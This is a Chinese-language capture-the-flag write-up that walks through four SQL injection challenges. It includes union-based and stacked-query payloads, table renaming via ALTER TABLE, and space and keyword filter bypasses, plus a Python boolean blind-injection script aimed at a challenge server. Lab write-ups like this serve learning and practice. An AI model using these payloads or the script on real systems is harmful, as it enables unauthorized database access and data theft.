1.[LitCTF 2023]这是什么?SQL !注一下 !
先输入个1看看回显
可以看到闭合条件是)))))),而且不管是1'还是1''都报错,说明是数字型注入,
用1)))))) order by 2#,,1)))))) order by 3#查看有几列
//ORDER BY 语句用于根据指定的列对结果集进行排序。order by 2#对2列进行排序,如果有两列就会排序,order by 3#如果没有三列就会报错,这样就可以判断出有几列。
说明有两列,查看表名:1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()#
//union select是联合查询语句,可以在前面查询结束后继续执行union select后面的查询语句,如果你只想执行union select后面的查询语句,可以在1前面加一个-号,这样前面的查询就会错误,就只会返回union select 后面的查询结果。
group_concat函数可以合并多行的某列(或多列)数据为一行,默认以逗号分隔。功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。
table_name:表名称
information_schema.tables数据库只读表,虚拟的,并不存在。在MySQL的5.1版本及以上,MySQL数据库中会存在一个叫做information_schema的默认数据库,这个库里面记录着MySQL管理的数据库的名称,表名,列名(也叫字段名)。
table_schema 在MySQL数据库中,table_schema指的是数据库的名称,当我们需要查询某个特定数据库中的表、视图、存储过程等对象时,需要指定table_schema。
database()MySQL自带的数据库。
查看users里面的列名:1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_name="users"#
column_name列名
接着查列名里面的字段:1)))))) union select 1,group_concat(id,username,password) from users#
很明显flag是假的,那么可能是flag不在该数据库,在其他的数据库,查询所有的数据库:
1)))))) union select 1,schema_name from information_schema.schemata#
可以看到几个数据库,其中ctftraining比较可疑,可以先查询这个数据库:
1)))))) union select 1,table_name from information_schema.tables where table_schema='ctftraining'#
可以看到有flag,进行读取:
1)))))) union select 1,flag from ctftraining.flag#
2.[强网杯 2019]随便注
先提交1看看
查询成功,接着尝试1'和1'',当为1'时报错,当为1''时不报错,说明是单引号闭合的。
用payloud:1' or 1=1#查询,结果显示出所有的东西,说明确实存在SQL注入。
用order by语句查询列,当为1' order by 3#的时候报错,说明有两个列。
接着尝试用union select联合注入,但是发现被正则匹配了很多经常使用的SQL语句。
尝试堆叠注入:1';show databases;#
可以看见;后面的查询语句执行了,说明可以用堆叠注入。
构造payloud查看表名:1';show tables;#
可以看到有一个纯数字的表名和words表,当查看的表名是纯数字的时候要用'把表名引起来。
1'; show columns from`1919810931114514`;#
可以看到有flag,接着看看words表:1';show columns from words;#
里面有id和data两个列,但是在1919810931114514表中只有flag一个字段,而且我们查询的时候是有两列的,也就是说该题的SQL语句查询的是words表下面的id和data两个列。我们就需要用到SQL堆叠注入可以执行修改语句这个特点来对数据库中的表进行修改,把1919810931114514表改成words表,并把flag列改成id列或data列,把原来的words表改成其他的名称。
构造payloud:1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
alter table命令用于添加、删除或者更改现有数据表中的列;
rename to重命名为;
改完之后用1' or 1=1#爆出所有字段:
得到flag。
3.[CISCN 2019华北Day2]Web1
当你输入1的时候并没有get传参id=1,那么可能是post传参,可以抓包看一下1是怎么上传的。
可以看到是post传参。尝试2,3,1',1''
2:
3:
1'和1'':
发现bool,可能是布尔盲注,接着测试,发现有空格时会发生报错,说明过滤了空格,
也可以用bp去测试,把SQL常用的注入语句单词和字符都放在一个txt文本里,然后爆破就可以,会发现空格时和一些其他的长度会不一样
那么就涉及到SQL注入中空格的绕过:
详细可看:https://blog.csdn.net/Cairo_A/article/details/134882367
这里就用括号绕过,构造payloud:
id=(select(ascii(mid(flag,1,1))=78)from(flag))
因为题目是直接就给了我们flag在flag下面的,所以就可以直接查询
回显和1的是一样的,说明正确,查看ASCII表第一个字母就是N,接着就可以一个字符一个字符的去测试,只用修改mid(flag,1,1)里面的第一个1,以及78就可以测试出所有,但是这样太过浪费时间。可以用python脚本跑一下:
import requests
import string
def blind_injection(url):
flag = ''
strings = string.printable
for num in range(1,60):
for i in strings:
payload = '(select(ascii(mid(flag,{0},1))={1})from(flag))'.format(num,ord(i))
post_data = {"id":payload}
res = requests.post(url=url,data=post_data)
if 'Hello' in res.text:
flag += i
print(flag)
else:
continue
print(flag)
if __name__ == '__main__':
url = 'http://node2.anna.nssctf.cn:28841/index.php'
blind_injection(url)
实力不够,只能借鉴:来自https://blog.csdn.net/mochu7777777/article/details/109516952
4.[SWPUCTF 2022 新生赛]ez_sql
看题目可以知道是post注入,而且参数是nss
nss=1时:
很明显flag是假的,开始进行注入。
输入1’,结果报错
构造payloud:nss=1' or 1=1#
还是报错,说明可能把一些东西过滤了,测试一下
可以看到过滤了空格,用/**/绕过
构造payloud:1'/**/union/**/select/**/1,2,3;#
观察报错语句:1'没有了,union也没有了,都被过滤了,双写绕过union,用其他数字代替1
最终的payloud:4'/**/ununionion/**/select/**/1,2,3;#
说明有三个列.
爆库名,构造payloud:4'/**/ununionion/**/select/**/1,2,database();#
库名是NSS_db
爆表名:构造payloud:4'/**/ununionion/**/select/**/1,2,group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema='NSS_db';#
这里information多写一个的原因是过滤了or
有两个表,爆表的列。构造payloud:4'/**/ununionion/**/select/**/1,2,group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='NSS_tb';#
可以看到有三个列:id,secr3t,flll444g,查看secr3t,flll444g两个列的内容。
构造payloud:4'/**/ununionion/**/select/**/1,group_concat(Secr3t),group_concat(flll444g)/**/from/**/NSS_tb;#
flag是在secr3t这个列下面的。
这个题就是需要通过观看报错内容来确定哪里被过滤了,并且怎么去绕过。